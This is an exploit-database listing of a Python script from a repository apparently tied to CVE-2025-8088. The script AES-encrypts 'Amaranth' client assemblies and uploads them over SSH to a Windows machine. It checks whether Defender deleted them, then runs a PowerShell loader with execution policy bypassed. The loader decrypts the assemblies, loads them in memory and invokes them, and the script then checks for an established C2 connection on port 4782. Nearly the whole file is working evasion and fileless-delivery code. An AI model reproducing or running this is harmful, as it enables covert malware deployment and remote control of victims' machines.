Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files52Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Stage02_PowerShell/exploit/rebuild_and_test.py

Python · 5,027 bytes
"""Rebuild payload.bin with evaded assemblies and test PS memory loading"""
import os, struct, hashlib, paramiko, time
from Crypto.Cipher import AES

STAGE02 = r"D:\Desktop\网安程设\Amaranth_Project\Stage02_PowerShell"
PAYLOAD = os.path.join(STAGE02, "payload_evaded")
OUTPUT_DIR = STAGE02

AES_KEY = bytes.fromhex("0F3B7A1D9E4C6F2A8B3D5E7C1F9A0B2D")
AES_IV = bytes.fromhex("4A1C6E2D8F0B3A5C7E9D2F1B4A6C8E0D")

# Build bundle: [len:4][data:len] repeated for each assembly
bundle = b""
asm_files = [
    os.path.join(PAYLOAD, "Amaranth.Client.exe"),
    os.path.join(PAYLOAD, "Amaranth.Common.dll"),
    os.path.join(PAYLOAD, "Amaranth.ProtoBuf.dll"),
]

for path in asm_files:
    with open(path, 'rb') as f:
        data = f.read()
    bundle += struct.pack('<I', len(data))
    bundle += data

# AES encrypt
pad_len = 16 - (len(bundle) % 16)
bundle_padded = bundle + bytes([pad_len] * pad_len)
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
encrypted = cipher.encrypt(bundle_padded)

# Write payload.bin
payload_path = os.path.join(OUTPUT_DIR, "payload_evaded.bin")
with open(payload_path, 'wb') as f:
    f.write(encrypted)

print(f"payload_evaded.bin: {len(encrypted)} bytes ({len(bundle)} raw)")
print(f"SHA256: {hashlib.sha256(encrypted).hexdigest()}")

# === Upload to VM and test ===
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('192.168.30.136', username='lewis', password='lewis123', timeout=10)

# Upload evaded payload.bin
sftp = ssh.open_sftp()
sftp.put(payload_path, 'C:\\Users\\Public\\payload.bin')
sftp.close()
print("\nUploaded payload_evaded.bin to C:\\Users\\Public\\payload.bin")

# Also upload evaded assemblies for LoadFrom test
sftp = ssh.open_sftp()
for fname in ["Amaranth.Common.dll"]:
    local = os.path.join(PAYLOAD, fname)
    remote = f"C:\\Users\\Public\\{fname}"
    sftp.put(local, remote)
    print(f"Uploaded {fname}")
sftp.close()

# === Test 1: Check Defender didn't delete new files ===
time.sleep(3)
stdin,stdout,stderr = ssh.exec_command('dir C:\\Users\\Public\\Amaranth* 2>&1', timeout=5)
r = stdout.read().decode('utf-8', errors='replace')
print(f"\nDefender check: {'SURVIVED' if 'Amaranth' in r else 'DELETED'}")
print(r[:300])

# === Test 2: PS Assembly.Load(byte[]) with new payload.bin ===
print("\n=== PS memory loading test ===")
ps_script = f'''$key = [byte[]]@({','.join(f'0x{b:02x}' for b in AES_KEY)})
$iv = [byte[]]@({','.join(f'0x{b:02x}' for b in AES_IV)})
$data = [IO.File]::ReadAllBytes('C:\\Users\\Public\\payload.bin')
try {{
    $aes = [System.Security.Cryptography.Aes]::Create()
    $aes.Key = $key; $aes.IV = $iv
    $dec = $aes.CreateDecryptor().TransformFinalBlock($data, 0, $data.Length)
    Write-Host ("RAW:" + $dec.Length)

    # Parse bundle and register resolver
    $pos = 0
    $asmList = @()
    while ($pos -lt $dec.Length) {{
        $len = [System.BitConverter]::ToUInt32($dec, $pos)
        $pos += 4
        $pe = $dec[$pos..($pos+$len-1)]
        $pos += $len
        $asmList += $pe
    }}
    Write-Host ("PARSE:" + $asmList.Length + " assemblies, first=" + $asmList[0].Length + " bytes")

    # Register dependency resolver
    $resolver = [System.ResolveEventHandler]{{
        param($s, $e)
        foreach ($pe in $asmList) {{
            try {{
                $a = [System.Reflection.Assembly]::Load($pe)
                if ($a.FullName.Split(",")[0] -eq $e.Name) {{ return $a }}
            }} catch {{ continue }}
        }}
        $null
    }}
    [AppDomain]::CurrentDomain.add_AssemblyResolve($resolver)

    # Load assemblies in order
    $loaded = @()
    foreach ($pe in $asmList) {{
        $a = [Reflection.Assembly]::Load($pe)
        $loaded += $a
        Write-Host ("LOADED:" + $a.GetName().Name)
    }}

    # Invoke entry point
    $loaded[0].EntryPoint.Invoke($null, [string[]]@())
    Write-Host "ENTRY_OK"
}} catch {{
    Write-Host ("ERR:" + ($_.Exception.Message -replace "`n"," "))
    $e = $_.Exception
    while ($e.InnerException) {{ $e = $e.InnerException; Write-Host ("INNER:" + $e.Message -replace "`n"," ")}}
}}
Start-Sleep -Seconds 60
'''

sftp = ssh.open_sftp()
with sftp.open('C:\\Users\\Public\\test_evaded.ps1', 'w') as f:
    f.write(ps_script)
sftp.close()

# Run the test
stdin,stdout,stderr = ssh.exec_command(
    'powershell -STA -ExecutionPolicy Bypass -File "C:\\Users\\Public\\test_evaded.ps1" 2>&1',
    timeout=60)
r = stdout.read().decode('utf-8', errors='replace')
print(f"\n=== Output ===\n{r[:2000]}")

# C2 check
time.sleep(5)
stdin,stdout,stderr = ssh.exec_command(
    'netstat -ano | findstr "ESTABLISHED" | findstr "4782"', timeout=5)
c2 = stdout.read().decode('utf-8', errors='replace').strip()
print(f"\nC2: {'ESTABLISHED ** SUCCESS **' if 'ESTABLISHED' in c2 else 'NONE'}")
if 'ESTABLISHED' not in c2:
    stdin,stdout,stderr = ssh.exec_command('netstat -ano | findstr "4782"', timeout=5)
    all_c2 = stdout.read().decode('utf-8', errors='replace').strip()
    print(f"All C2 connections:\n{all_c2[:300]}")

ssh.close()